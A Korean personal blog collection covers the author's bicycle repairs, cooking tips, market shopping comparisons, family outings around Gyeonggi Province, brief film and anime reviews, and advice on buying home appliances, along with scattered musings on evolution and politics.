따라서 범우주적 차원에서 보면 만사가 시시하다고 불평할 처지가 아니다. 무슨 일로 삶에 회의를 덜 느꼈나 생각해보니, 아무도 알아볼 수 없는 일에 열심일 때 큰 기쁨을 느끼는 것 같다. 하는 일에 관해 처자식에게조차 말한 적이 없다. 다만 일거수 일투족이 주로 인류를 위한 일에 편중되어 있으며 범죄와는... 범죄와 관련이 있다 없다 하기에 앞서, 진화논리를 따르면 선악은 무의미하다. 몇 안되는 낡은 진실이자, 언제나 교훈을 준다. 알려진 바대로 진실은 생활이나 환경 개선에 별 도움이 안 된다. 의지와 표상으로써의 우주관을 가져야 유의미한 광자의 흐름이 생긴다. 유의미한 광자의 흐름=염병할 운명과 역사의 실타래.

어떤 작자가 저 혼자 먹고 살겠다고 공공의 이익을 해하는 것을 처벌하는 공권력은 정의, 윤리, 선악의 잣대로 판단하는 것이 아니라 나보다 잘나가는 놈을 게임의 룰에 편입시키거나 초기조건을 가능한 동등하게 만들어(사회적으로) 게임이 공정해 보이도록 단체조율 하는 것이다. 선악이 없을 뿐더러 우열이 없는 유구한 생존게임인 진화사에서 살아남은 생존자들이  가진 공통점은 운이 좋다는 것 정도? 그래서 변태, 등신, 수구꼴통, 절도범, 강도, 강간범, 검사들이 선량하다는 이웃과 한 아파트에서  잘 살 수 있다. 지엄한 진화사의 교훈을 마음 속에 단단히 새기고 법질서를 심하게 무시하는 일 없이 그... 밑도 끝도 없이 바보같은 다양성 보전과 똘레랑스를 엄청 좋아하는 사람들을 위해 재미 없더라도 땀 흘려 봉사하자! 이거 되는대로 지껄이다 보니 말투가 노백수의 잉여로운 중앙일보 사설 스러워졌는데, 하여튼 염병할 역사와 운명의 실타래가, 심지어 우주 그 자체가 수많은 마음과 의지가 빚어낸 양자 얽힘이란 걸 믿게 되면 '아가 살려면 세상이 살아야 한다. 그게 당신같은 평범한 인간이 자신을 구하고 세계를 구하는 길이다'라는 류의 편리한 목적론에 영혼을 활용할 수 있게 된다.

주식으로 번 돈으로 이것저것 자전거 부속을 5만원어치 주문했다. Cree제는 아닌 듯한(싸고 믿을 수 없으니까) 중국제 고출력 LED가 달린 전조등과 18650 충전지, 충전기 등을 구입했다.

뒷 브레이크를 디스크 브레이크에서 v-브레이크로 교체하고 예전에 쓰던 짐받이를 부착할 계획이었으나 지지 나사가 없어 포기했다.

해괴하게 생긴 체인링크가 왔다. 이미 체인은 끊어놨는데 안 맞아 내가 뭘 잘못했나 싶어 체인을 한 칸 더 끊고 보니 악명 높은 TAYA 체인링크다. 털썩...

핸들 그립은 오른쪽만 두 짝이 왔다. 이상한 제품들은 반품하고 KMC 체인(체인 링크 포함)으로 교환했다.

디스크 브레이크와 패드 사이의 이격을 조절하기 위해 뒷 바퀴 허브의 고정 나사를 풀렀나 조였다 반복했지만 신통치 않다. 뒷바퀴의 디스크가 브레이크 패드에 닿아있어 속도가 안 난다. 과자 박스를 찢어 QR 레버와 프레임 사이에 끼워보니 패드와 디스크에 적당한 이격이 생겼다. 종이 조각 하나로 해결한 셈인가?

해결되지 않았다. 축의 고정 너트가 풀어지거나 종이조각이 압축되면 다시 디스크 브레이크가 패드에 닿았다. 오히려 전에는 들리지 않던 칼 가는 소리까지 나기 시작했다. 캘리퍼의 이격 조정은 캘리퍼 앞 뒤의 육각 나사를 돌려 정렬한 후 조여주기만 하면 되는 간단한 것이었다. 거만해져서 공부 안 하니 이 모양으로 무식한 티를 냈다.

Electoral dysfunction: Why democracy is always unfair -- 유시민이 불공정거래같은 민주당 경선(?)에 참여했다. 노회찬과 심상정, 한명숙과 유시민, 유시민이 후보단일화에 탈락하면 plan B는 심상정으로?

40년 동안 못해 본 총각처럼 보이는 좌파(?) 또는 진보주의자(?)는 성장보다는 복지를 중시하는 사람이란다. 그럴리가... 종종 깨달음과 통찰을 주는 진화설로 파악해보면 함께 생각도 하면서 잘 살아보자는 합리적인 복지주의로  잘될 것 같지 않아 보였다. 하지만 좌파라 불리는 심상정, 노회찬이 야당 후보 단일화를 깨고 자기들 끼리 꾸역꾸역 해보겠다고 한 것은 잘한 일이라 여겼다. 여러분들께서 단일 후보 선출 안 해도 나라 안 망한다.

초기조건을 동등하게 하고, 인간의 질이 개선되리라는 밑도 끝도 없는 희망을 고귀한 동정심으로 포장하고, 이성적 견제를 통해 자연의 흐름을 거슬러 인간의 개입이 실질적으로 자연 또는 우주를 지금 상태보다 낫게 만들 수 있다고 믿는 것은 신념과 믿음과 사랑으로 설교하는 종교와 비슷했다. 언제인가 부터 '불필요한' 신념을 시체의 무게 처럼 여겼다. 비틀즈를 틀자; boys, you gonna carry that weight, carry that weight a long time~~ 변화하지 않는 이를 동정하나 나와 같은 인간을 위해 해줄 것이 딱히 없다.

북어국 맛있게 끓이는 방법 정도는 알려줄 수 있을 것 같다: 몇 개월 전에 비결을 알았다. 알고 보니 별게 없다. 멸치, 다시마로 육수 내고, 북어는 물에 불릴 때 소금과 후추로 미리 간을 해 둔다. 멸치육수에 무를 먼저 넣고 끟인 다음 적당히 익으면 북어와 콩나물을 넣는다(북어 먼저 참기름에 달달 볶지 않는다!). 끓으면 파, 마늘 넣고 끓어오르면 불을 줄여준다.

음식점에서 맛있는 음식을 먹으면 이것저것 물어 배워서 집에 오면 꼭 한 번씩 해봤다. 맛있는 돼지김치찌게는 소금, 후추, 생강즙에 돼지고기를 재워놓는 것 까지는 보통 하는 식인데, 돼지고기 볶을 때 화이트 와인 한 스푼 뿌리고 볶으면 돼지 냄새가 안 났다. 돼지 냄새에 굉장히 민감한 아내의 코마저 감지하지 못할 정도였다. 된장, 녹차잎 보다 효과가 좋았다.

식재료 대부분을 시장에서 샀다. 아내는 한 동안 대형마트를 선호했다. 불과 2-3개월전, 이마트가 일부 품목의 단가를 내리자 홈플러스가 맞불을 지르고 롯데마트도 저가 경쟁에 끼어들었다.  처절한 가격 경쟁을 벌이던 당시(납품업체만 죽어나던 당시라고 번역해야할 듯), 이마트의 바나나 한 포기 가격이 1500원이었다면 홈플러스는 1450원, 롯데마트는 1499원 꼴이었는데 동네 시장에서는 1200원이었다. 그래서 왠만하면 대형마트에 안 갔다.

경험과 기억으로 비추어볼 때 신선식품의 선도와 가격 경쟁력 면에서 대형마트가 한 번도 동네 시장을 이겨본 적이 없다. 예: 두부 세일. 이마트는 300g + 150g 두부 2모에 1300원할 때, 시장 할인점에서는 일주일에 하루씩 천원에 판매하는 300g 두부 한모를 100원에 떨이했다. 그래도 100원 짜리 두부는 안 사 먹었다. 대신 중국산 콩을 사용하는 재래시장의 '두부명가'라는 가게에서 1500원에 400g짜리 맛있는 두부를 사 먹었다.

닭은 칼질에서 심후한 내공이 느껴지는 두부가게 옆집, '하림 닭 유통'에서 주로 샀다. 고기 품질이 차이난다. 심하게는 대형할인점의 고기가 동네 정육점보다 가격이 비싸면서 품질이 떨어졌다. 돼지고기, 소고기, 바지락, 구이용 생선, 야채, 과일 등 사는 가게가 각각 다르다. 신선식품은 그렇다 쳐도 이마트의 공산품 만큼은 동네 시장보다 낫지 싶었는데 언제나 그런 것은 아니었다. 예: 하이트 맥스 1리터 PET 가격은 롯데마트가 대형할인점 중에서 가장 싼데(2350원), 동네수퍼가 2400원, 동네 할인 마트가 2370원이었다.

다만 시장 마트나 동네 수퍼엔 파슬리 가루가 없고 다양한 제품간 스펙 비교가 쉽지 않다. 재래시장에는 시식 코너가 없다. 미소 된장국과 오레가노, 커민, 연어, 파스타 등등 다양한 음식을 먹는 사람들이 많이 늘었다. 주차장이 변변찮고 더러운 재래시장에서 에누리에 신경이 곤두서기 보다는(정량, 정가에 익숙한데 친절하게 덤을 더 줘도 고마워할 타이밍을 놓치곤 했다) 카트를 몰고 다니며 카드 결제로 깔끔한 원스탑 쇼핑이 가능한 대형할인점이 여러 면에서 편리하다... 라고 말한다. 소비자가 워낙 게으른 바보라서 재래시장보다 비싸고 맛 없고 쓸데없는 물건에 대한 탐욕을 부추기는 대형할인점을 즐겨 찾는다고 생각하면 안 되겠지? 간발의 안타까운 개성차로 서로의 weighting system이 다르다. 라고 말하는 것이 알맞다. 옳건 그르건.

물향기 수목원
가족과 함께 물향기 수목원에 놀러갔다. 메타세콰이어 나무들. 크기로 미루어, 묘목이라고 해야 하나? 디지탈 카메라에 있는 xD 메모리가 드디어 맛이 가서 모처럼 찍은 단란한 가족 사진이 모두 날아갔다. 요즘은 그냥 노키아 휴대폰으로 사진을 찍어 블로그에 올렸다. 내 코딩이 절대 먹혀들어갈 리가 없지만, 이 사진에서 궂이 보여주고 싶은 컨셉은 미국과 중국이다. 우리 아이는 그냥 스케일링 팩터다.

안양예술공원에
물향기 수목원에 갔다 온 다음 아이가 B형 독감에 걸려 일주일 동안 고열에 시달렸다. 타미플루를 5일 동안 먹였다. 그리고 돌아온 주말에 안양예술공원에 놀러갔다. 만개한 벚꽃이나 초속 5cm로 나긋이 떨어지는 꽃잎을 보았다. 바람이 불자 짓눈개비처럼 흩날렸다. 나비같다.

 
안양예술공원 요정의 숲
예전에 안양예술공원에 왔을 때 깜빡 지나친 요정의 숲을 방문.

안양예술공원 요정의 숲
예술은 불안하고 깨지기 쉬운 정신세계를 가진 이가 해야 제맛이란 걸 새삼 깨닿게 하는 작품들. 이 작자의 '결여'는 불안이나 신경증하고는 상관없어 보이지만.

안양예술공원
고래등같은 기와집의 그 고래등. 올라가 볼래? 아이는 괴상한 짐승들 등짝에 오르려고 버둥거렸지만 기와집엔 관심이 없다.

안양예술공원
안양예술공원. 폭포. 근처 음식점에서 시켜먹은 촌국수는 정말 정말 정말 맛이 없었다. 어떻게 이런 걸 음식이라고 팔 수 있을까 싶은 지경.

자전거 탈 때(또는 선글래스 대용으로) 쓸 스포츠글래스를 샀다. 16000원 짜리 헬멧에 챙(썬쉐이드)이 없어 어쩔 수 없이 스포츠글래스를 알아봤는데, 1. 비바람이 들어가지 말아야 하고, 2. 일종의 방탄 기능이 있어야 하고, 3. 자외선 차단을 비롯해 대낮에 눈을 보호해야 하고, 4. 얼굴 굴곡에 따라 렌즈가 배열되어야 하고, 5. 눈썹이 닿는 돗수 클립을 사용하지 않으려면 렌즈 자체에 돗수를 넣어야 한다는 조건을 달았다. 그랬더니 무척 비싼 제품이 나왔다.

프레임은 국산과 일제 밖에 얼굴에 맞는게 없었는데, 오클리 등의 더럽게 비싼 것들은 얼굴 형태에 맞지 않아 다행이다. 조건에 맞는 가공을 하는 업체가 드물어 부러 시간 내어 상경해서 맞췄다. http://www.eyedaq.com 오렌지 색은 주/야간 겸용.  프레임의 메이커는 SOS, 모델은 천리안. 렌즈는 디옵터 7.8에 프레임에 맞춰 곡면 가공한 것이다. 안경점에서 검안사가 계측에 꽤 공을 들였다.

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화장실 셀프 샷. 비오는 날 자전거를 타봐야 스포츠글래스가 제대로 검증이 되겠지만 저 머리에 만육천원짜리 버섯 모양 자전거 헬멧을 얹고 보니 흡사 도깨비 같았다. 평소에 착용하기엔 디자인이 많이 안 좋아 보이는데  외모에 별로 신경 안 쓰고 살아서인지 눈만 편하다면야 뭐. 실제 안경 보다 돗수가 낮지만 주변시가 매우 뚜렷하다. 처음 착용하고 한 동안 어지러웠다. 이것도 주식으로 번 돈으로 장만했다. 돌이켜보니 주식으로 돈을 꽤 벌었다.

5월 1일. 저번주엔 제부도, 공룡알 화석지, 안산 쌀국수 가게 어느 한 군데도 가지 못해 이 날 날잡아 갔다.

제부도
집에서 가는 내내 맞바람을 맞으며 제부도에 도착했다. 이거야 원 피곤해서. 아주 오래 전에 와 본 적이 있는데 그때와는 사뭇 분위기가 달랐다. 콘크리트를 쳐놓은 자동차 및 보행자 도로변에는 풍력 발전기와 태양광 발전기 따위가 있었다.

제부도
가는 길에 어떤 친구가 도로변에서 제부도 물때를 적어놓은 종이를 나눠주고 있었다. 오늘은 16:30까지만 통행이 허용된다. 어젯밤에는 보름에서 며칠 지나지 않은 달이 묘하게 붉고 노랬다.

제부도 등대
휴대폰으로 찍은 사진치고 꽤 잘 나왔다.

제부도
오후 2시 20분. 제부도를 방문한 대부분의 사람들은 가족 단위 여행객 아니면 연인들이었다. 모태솔로는 갈 데가 못되는 것 같다.

제부도
산책로. 앞에 걸어가는 두 남녀는 오늘 있었던 단체 미팅에서 두번째로 뽑힌 커플. 비좁은 산책로에서 자전거를 질질 끌고 가는데 딱히 길을 비켜주지 않아 두 사람 바로 뒤에서 피치 못하게 대화를 엿들었다.  잘 안될 것 같은 커플이다.

제부도
모퉁이를 돌면 산책로가 끝나고 한국 어느 해변에서나 지겹게 보는 상가촌이 나타난다. 다른 가게보다 조금이라도 튀어 보이려고 코스프레 차림을 한 늙수구레한 아저씨가 뙤약볕 아래에서 굽신거리며 호객한다. 먹고 살기 힘들다.

제부도
뻘에서 축구하는 아이들. 예년 기온을 회복해간다지만 아직은 좀 쌀쌀한 날씬데 잘들 논다.

제부도
서쪽에 면한 해변 끝. 장화와 호미를 빌려 굴이나 바지락을 따러 들어간 사람들.

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제부도를 나왔다. 한 바퀴 도니 더 볼 것도 없었다. 뭍에서 등대속둥지란 음식점을 골라 바지락 칼국수를 주문했다. 서빙 별로 안 좋다, 1.5인분쯤 되어 보이는 칼국수는 생각보다 맛이 없었다. 바지락은 신선하고 양이 많아 빈 접시에 패총을 쌓을 수 있었다. 음식 맛이 별로에 현금으로 계산하기를 바랬다. 경기도가 엄선한 좋은 음식점 수준의 기준이 낮던가 매년 또는 분기 별로 체크할 정성은 없는 듯.

어천 저수지
어천저수지. 낚시터. 돌아오는 길은 바람에 등에 지고 있어서 별로 힘들지 않았다. 102km, 6시간 20분짜리 투어였다. 집에 돌아와 옷가지를 챙기고 사우나에 가서 씻고 잠깐 눈을 붙였다.

5월 5일. 약 20년 동안 나하고 상관없었던 날.

화성행궁
화성행궁에 놀러갔다. 인파가 바글거리는 놀이동산 등지에 놀러갈 엄두는 나지 않았다.

화성행궁
행궁 뒷편 벽에는 왕의 행차를 묘사한 그림이 있는데 방문 때마다 번번이 사진을 찍지 않았다. 내 경우에는 화성행궁에서 유일하게 쓸만한 볼꺼리.

한 블로그에 놀러간 장소를 무려 넷이나 적었다!

aladin
aladin. 좀 바보같은 인도 영화. 여자도 별로고.

Astro Boy
Astro Boy. 아이가 공룡에서 로봇 쪽으로 슬슬 관심을 보이기 시작하는데 이런 것 더빙판을 구하기가 어렵다.

Cargo
Cargo. 안 봐도 그만인 SF

Hack. G.U. Trilogy
Hack. G.U. Trilogy. 원작도 그랬지만, 애니도 재미 없다.

Repo Man
Repo Man. 브라질, 12 멍키즈 따위가 생각났다.

The Invention Of Lying
The Invention Of Lying. 별로...

다다미 넉장 반 세계일주
유아사 마사아키, 잉여예술의 꽃. 엔딩 타이틀이 넘 멋지다. 엇 근데 이 애니 제목이 뭐였지?

다다미 넉장 반 세계일주
제목도 모른 채 캡쳐한 장면을 보고 있자니... -_- 어쨌건 해피엔딩이다.

다다미 넉장 반 세계일주
그림은 빛의 에술이다. 인상파 화가들의 의견을 몹시 존중한다. 술꾼으로서 지당했다. 형태와 색소에서 인상파의 기준을 통과하지 못해 실망스런 씬. 의도가 시발스러우면 결과는 여지없이 시발스럽다. 그런데 아 좋다.

다다미 넉장 반 세계일주
유우니가 생각나는 장면.

다다미 넉장 반 세계일주
유아사 마사아키의 또다른 애니. 역시 제목을 모르겠다. 아 진짜... -_- 제목을 알았다. 다다미 넉장 반 세계일주. 그의 애니가 옛날에 처음 읽었던 누보 로망처럼 익숙했다. 예술이 별거냐? 운율이 있는 싱싱, 조형을 갖춘 난잡, 죽어도 인간을 깨우지 못하는 미혹.



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그대들도 죽는다

잡기 2010. 4. 11. 23:50

http://weekly.khan.co.kr/khnm.html?mode=view&dept=116&art_id=201003241910291 -- '그대들도 죽는다' 어떤 장례식사. 웃자고 하는 얘긴데 죽자고 달려들진 않겠지?

환율이 1100 가까이 접근하면 외국인 매수세는 사라질 것이고 그때 쯤엔 펀드를 뺄 생각도 했다. 임박한 위안화 절상, 달러 강세, 원화 동반 강세, 부동산 버블론 등 별별 얘기가 다 돌아 솔직히 요즘은 뭘 어떻게 해야할 지 통 방향을 못 잡겠다. 이럴 땐 복지부동?

4/4 애가 아파서 어디 놀러가지 못하고 자전거 몰고 안산에 갔다 올 생각으로 혼자 나왔다. N5800에 설치한 스포츠 트래커의 버전이 낮아 중간에 찍은 사진들이 스포츠트래커 사이트에 함께 올라가지 않았다. 업그레이드. 설정이 눈에 익어 프로그램을 어떻게 잘 사용할 수 있는지 알겠다. 1. 출발할 때 프로그램을 켜고, 2. 가끔 가다 Lap 찍고 3. 사진도 좀 찍다가 4. 돌아와서 업로드한다. 이 절차가 워낙 바보같아도 알 수 있을 정도로 간단해서 스포츠 트래커는 노키아 휴대폰의 킬러앱이 되었다. 이 정도가 아이폰과 경쟁할 정도라면 우스운가? 아이폰 OS 4.0 이전 버전은 이게 안 된다: 블투 헤드셋으로 음악 들으며 gps 백그라운드로 깔고 여행중에 사진 찍는 것.

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도착해 보니 안산 시화호 습지 공원이 있다. 의도하고 여길 온 것은 아니다. 습지를 따라 이런 산책로를 만들어 놓았다. 전국의 거의 모든 지자체가 강변 산책로/자전거 도로 만들기에 혈안이 된 것 같아 흐뭇하다. 수원시 역시 수원천 복개공사가 한창이다.

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시화호라고 기억나는 것은 환경 오염, 죽은 새떼와 썩은 물, 망할 교훈 뿐이다. 담수호 만들려다가 결국 제방을 포기하고 해수호로 만들었다 정도? 산책로에서 썩은 내는 나지 않았다. 의외로... 좋다.

안산 습지 공원
안산 습지 공원. 무료. 갈대를 잘랐다. 자전거 끌고 들어갈 수 없단다. 개와 고양이도 안되고. 대략 이 위치면... 저 산 너머 쯤에 공룡알 화석지가 있을 것이다. 이거 잘만하면 '관광 클러스터'가 될 수도 있겠는데? 안산시장 선거 때 혹시 이슈가 되지는 않을까?

안산 습지 공원
안 자른 갈대. 담수호를 포기하고 해수 유입을 허용한 다음에도 오염이 차도를 보이지 않자 조력 발전소를 지어 물의 유입/유출을 늘렸다. 시화호 방조제를 만들 당시에도 건설업자들을 먹여 살리기 위해 공사를 했다. 그후 새만금, 청계천, 4대강 사업 등 역사적인 프로젝트가 줄줄이 이어졌다. 그렇다고 환경단체의 별 생각없어 보이는 헛소리를 곧이곧대로 듣지 않았다. 신심은 바른데 내용이 엿 같아서 환경 교회에 안 간다.

안산 습지 공원
습지공원의 갈대밭은 오염을 제거하기 위해 인공적으로 조성한 것이다. 흡사 콩팥처럼 생긴 이 습지의 정화능력이 제 기능을 발휘할지는 의문이지만(선거를 앞두고 눈가리고 아웅하려고 만든 것처럼 느껴지는 고작 0.75km^2 갈대밭 따위가? more! more!) 이런 노력에 괜히 초를 칠 마음이 없다.  

안산 습지 공원
찍어놓고 보니 어쩐지 동남아 분위기가 풍긴다. 메콩강 하류, 쪽배에 의지해 근근히 먹고사는 베트남 남부의 거대 삼각주 어딘가에서 찍었다고 해도 믿을 것 같다. 안산 시내에 베트남 쌀국수 집이 있다던데 거기나 갔다올껄 그랬다.

안산 습지 공원
조류 관찰대. '노래하는 새들도 지금은 사라지고'. 휴대폰 카메라가 잘 찍히나 테스트.

안산 습지 공원
맑은 날은 그나마 잘 찍힌다고 했는데 이건 좀 아니네?


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어린 시절에 이렇게 사진 찍지 말라는 얘기를 들었다. 나이 들수록 편한 대로 하게 된다. 집에서 머리를 깎던 미용실에 보내던 아이 머리는 마누라의 컨셉인 '정비가 편한 단발'이다. 안 그래도 애가 안 똑똑한데 영구 머리에 꽃 들고 헤헤거리고 있으니...

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4/11 아이 데리고 버블매직쇼 보고 산길을 돌아다니다가 집 근처의, 언제나 별로 특색 없는 그림들이 전시되곤 하는 미술관에 갔다.  운영비는 시 재정으로 충당하고 관람료는 늘 무료이고 지역 아마추어들에게 저렴하게 대관해 주는 것일까? 그렇다면 참 마음에 든다.

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어쩌다 보니 미술관, 도서관, 화성, 광교산 등이 아이와 주로 가는 나들이 코스가 되었다. 봄이 오면 물향기 수목원에 가고 여름 문턱에 융건릉에 가고 여름에는 안양천에 가야겠다.

아이와 돌아다니는 휴일과 별개로, 첫번째 자전거 소풍은 광교산(30km), 두번째는 안산 시화호 습지공원(60km), 그리고 4월 10일 세 번째로 간 곳은 경기도 화성 일주 코스(90km)가 되었다.

가는 길에 지나가는 비를 맞았다. 블루투스 헤드셋을 끼고 휴대폰으로 음악을 들었다. 블루투스 덕택에 자전거를 타고 가면서 핸즈프리 전화 통화도 했다. SportsTracker + Bluetooth + MP3 Play 를 동시에 돌리면서 사진 30장, 1분 짜리 동영상 3개 정도 찍으면 배터리 만충 상태에서 계산상 약 5시간 정도 사용 가능하다. 노키아 N5800은 쓰면 쓸수록 정이 가는 휴대폰이다.

그래도 예전처럼 GPSr을 자전거에 설치해 사용한다. 상황이 어떻게 변할지 모르는 아웃도어에서 떨어지면 깨지고, 하다 못해 지나가는 비에 잠시 노출되는 정도로 맞이 갈 수 있는 휴대폰 따위를 어떻게 믿을 수 있겠나. 안산이나 화성이나 초행이다. GPSr에서는 터닝 포인트가 나타날 때면 방향 지시를 해 준다. Garmin Mobile XT를 사용하면 블투로 음악듣는 와중에 방향 지시가 나온다.

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들판에 봄이 온다. GPS 지도에는 화성호로 표시되어 있지만 언제인지 간척지를 일구어 놓았다. 집에 돌아가면 OSM 지도에서 해안선을 방조제 저 편으로 옮겨야 할 것 같다.  

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3월 말부터 작년에 울며 겨자먹기로 산 자전거를 타기 시작했다. 강력한 디스크 브레이크에 아직 적응이 잘 안되어 브레이크 감이 없어 레버를 당길 때면 꼬리 밟힌 고양이 비명 같은 소리가 난다. 수원 외곽에서 화성 까지 가는 길은 비참할 정도로  재미가 없었지만 화성 외곽의 똥 냄새 나는 논밭 사이로 난 농로를 지날 때는 기분이 좋았다.

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화성: 잡히지 않은 연쇄살인마와 그 때문에 오랜 기간 저평가되어 왔던 부동산 정도 밖에 아는 것이 없는 도시. 꽤 넓은 지역에 걸친 큰 도시일 줄 알았던 화성 시가지가 생각보다 작았다.

용주사
용주사 입구. 화성 일주하고 돌아오는 길에 융건릉과 용주사가 보여 용주사부터 들렀다. 정조 임금이 사도세자를 기리기 위해 중수해 원찰로 삼은 절. 안 그래도 언젠가 한 번 관광 와야지 생각했는데 우연찮게 기회가 생겼다.

용주사 홍살문
용주사 입구. 임금이 들락거리는 곳이라서인지 홍살문이 있다. 떼관광객이 우루루 몰려다니는 관광지라고 생각했는데 의외로 고즈넉하니 분위기가 좋다.

용주사
회랑이 있어 사진을 찍었지만 사진이 깨졌다. 그러고보니 이 날 찍은 관광 사진 대부분이 깨졌다.  

용주사 대웅전
대웅전. 정조가 용꿈을 꾸고 중수한 절이라서 현판 옆에 여의주를 물고 있는 용이란다. 처마에 여의주 물고 있는 용이 있는 대웅전은 내 경험에 비춰볼 때 꽤 많았다. 이 용은 좀 웃기게 생겼다. 현판은 정조가 직접 썼고 탱화가 볼만했지만 사진이 다 깨져서 이것 하나만 건졌다.

융건릉
용주사를 나와 융건릉으로 향했다. 철쭉이 피었다. 울창한 상수리 나무 숲과 소나무 숲이 몹시 마음에 들어 여름에 방문해 유네스코 지정 세계문화유산의 풀밭에 앉아 도시락을 까먹겠다고 마음먹었다. 별로 시간이 없어 산책로 중 짧은 코스를 택해 빠른 걸음으로 융릉과 건릉을 돌아봤다. 약 30분 정도 걸렸다.


융건릉 산책로.

14만원 짜리 상당히 비싼 LED 스탠드(LS-LED-100)를 사서 2주쯤 사용했다. 다른 LED 스탠드와 달리 확산판을 달아 LED 특유의 쏘는듯한 광원(직사면만 밝게 빛나고 그외의 영역과 칼 자르듯이 경계면이 남는다)과 달리 부드럽게 비춘다. 색온도를 다르게 한 3개의 모드가 있고 각 모드 별로 LED 밝기를 3단계로 조절할 수 있다. 색온도와 밝기 조절이라... 관심없는 기능.

조도가 낮은게 눈에 띄는 단점이다. 마음대로 회전시킬 수 없다는 것이 두번째 단점이다 -- 좁은 책상에서 책과 공책 정도만 꺼내놓고 이미 천정에 형광등이 켜져 있는 상태에서 켜 놓고 공부할 때나 쓸 수 있는 종류의 스탠드다. 총평: 별로다.

수명과 전력 소비량 때문에 값비싼 LED 스탠드를 샀다. 이전까지 사용하던 스탠드는 보통 20~50W 짜리 전구를 사용하는데, 전구에 따라 다르지만 일 평균 6시간으로 3~6개월 정도 사용하면 조도가 현저하게 떨어져 지난 6년 동안 전구를 12 번 가량 갈았다. 그 금액이면 수명이 60000~100000 시간 가량 되는 14만원 짜리 저전력 LED 스탠드를 살 수 있다. 예상수명 27년, 조도가 2/3로 떨어지는 지점을 8년으로 잡아도 LED 스탠드 쪽이 저렴한 편이니까.  2W 짜리 LED 6개를 직렬로 달고 확산판을 단 다음 케이스를 자작하는 걸로 어림잡아 견적을 내보니 못해도 10여만원 가량 나왔다. 그냥 샀다.

이참에, 아내를 위한 가전 제품을 값싸고 제대로 사는 요령:

1. 24시간 가동하는 냉장고, 김치 냉장고, 때로는 TV 따위는 딴전 피울 것 없이 무조건 소비전력을 보고 사야 한다(그 덕에 170리터 짜리 냉장고를 작년에 사고도 100리터가 안되는 조그만 냉장고를 사용할 때와 같은 전기세를 냈다). 냉장고는 한 번 구입하면 10~30년을 사용한다. 10kWH 차이로 10년 동안 100만원 더 냈다면 그 반에 해당하는 금액인 50만원 더 주고라도 전력소비량이 적은 제품을 구입하는 것이 바람직하다(계산이 복잡하니 계산은 생략). 카테고리에 벗어나지만 워낙 중요한 항목이라 1순위로 전력소모를 꼽았다.

2. 현 시점에서 약 6개월~1년 전 제품을 구입. 소비자 구매성향이나 패턴 때문에 속칭 백색가전 제품의 라이프사이클이 딱 그 정도라 6~12개월 지난 제품군은 떨이, 묶음 판매되는 것들이 많아 가격이 저렴하다. 5항 참조.

3. 가전제품에 따라 가장 중요한 기능이 무엇인지를 일단 알아야 구매 포인트를 정할 수 있다. 예를 들어 김치냉장고의 성능을 판가름하는 가장 중요한 요소는 온도 안정성과 온도 정밀도다(약간 뜬금없지만 김치 냉장고에 와인, 맥주 넣어 냉각했다가 마셔본 사람들은 이게 뭔 소린지 대번에 이해할 듯) 또는 가스레인지 구입에서 핵심은 화구에서 연소되는 열량이다 . 그 열량이 음식의 품질에 끼치는 영향이 지대하다.

4. 사용 목적과 부합되는 제품을 고르는 것이 좋다. 백색 가전에서 아줌마들 사이에 가장 말이 많은 제품이 세탁기다., 드럼 세탁기와 일반 세탁기 사이의 성능 경쟁은 별 의미가 없지만 5인 가족 빨래를 드럼 세탁기로 하는 건 좀 바보짓 같다. 아이가 생긴 아빠들은 대부분 DSLR을 사려고 마음 먹는데, 애들 사진 찍기 쉽지 않으니 안되는 디카로 괜한 삽질하지 말고 보통은 캠코더를 사라고 추천한다. 또는 사진을 찍어 블로그에 음식점 리뷰를 올리려는데 DSLR이 부담스럽다면 소위 '렌즈가 밝은 ' 똑딱이가 우선 순위에 올라가야  하는 것처럼 사용 목적과 부합하는 제품의 특성을 파악하는 것이 합리적인 소비자가 되는 길이라고 믿는다.

5. 계절가전 -- 옷과 마찬가지. 쌀 때가 있고 비쌀 때가 있다. 미리 준비하면 꽤 큰 금액을 절약할 수 있다. 혼수철 떨이, 이사철/개학철 떨이, 에어콘, 전기장판 등 비수기 재고 땡처리 등등. 2항 참조.

6. 스펙과 피쳐 -- 잘 모르는 제품군을 살 때는 최고가의 최고 스펙을 착실하고 철저하게 연구한 다음(비싼 것들은 비싼 이유가 있기에) 스스로가 만족하는 수준에서 가격 대 성능 또는 가격 대 스펙을 정한다. 4항의 '사용목적과 부함되는 제품을 고른다'와 겹치지 않는다: 예를 들어 TV의 PIP는 평상시에는 대체로 쓸데 없는 기능이지만(목적이 광고 스킵하고 본방 보기 위해 PIP에 멍하니 화면 띄워두는 것이라면 채널 예약과 기능 면에서 겹친다) 그 기능이 있고 없고에 따라 제품 단가가 1-2만원 밖에 차이가 나지 않으면 있는게 낫다.

7. 밸런싱과 트레이드 오프: 1항, 3항, 6항은 주부들에게 무리일 수도 있겠다. 한국의 백색 가전 시장은 얼마나 황당한지 가장 기초적인 소비전력량, 디멘젼(제품의 가로세로폭) 따위를 제대로 적어놓지 않은 곳도 많다. 하이마트 매장 판매원은 그런 거 모른다. 구매층의 다수는 명성과 TV 광고와 평판과 A/S을 잣대 삼아 제품을 구입하지 1, 3, 6항 같은 머리에 쥐나는 연구 활동(?)을 즐기지 않을 것이다. 그런 소비자를 상대하니 백색 가전 시장이 그 모양이다. IT 제품군은 줄 하나 잘못 그었다고 블로그에 지랄해대는 오타쿠스럽고 젋고 깐깐한 소비자들 덕에 스펙에 상당히 공을 들이는 것과 대조적이다. 1,3,6항이 안되면 기능과 사용 목적과 피쳐를 합친 매트릭스를 작성하고 각 항목마다 가중치를 주어 제품 평가에 관한 점수를 메기고 가장 높은 점수를 갖거나 가장 밸런스가 잘 맞는 제품을 가려내는 과정은 무의미하다.

8. 유지보수(또는, A/S)는 과연 얼마나 중요한가? 요점만 알면 된다. 어떤 기계이건 대부분의 오류는 초기와 말기에 집중된다 -- 뽑기 운이 좋아 처음에 고장이 안 나면 부품의 수명이 다할 때까지 고장날 확률이 매우 작거나 거의 없다는 뜻이다.

단품에 소모품이 없을 경우에 한해, 자연적인 고장에 따른 A/S 발생 건수는 사람들이 생각하는 것보다는 훨씬 적어 덜 중요할 수 있다. TV, 냉장고 따위가 소모품과 악세사리가 없으며 한 번 거치된 후 옮기거나 작동 불량을 야기할 수 있는 조작이 가해지지 않는, 딱 그런 경우다.

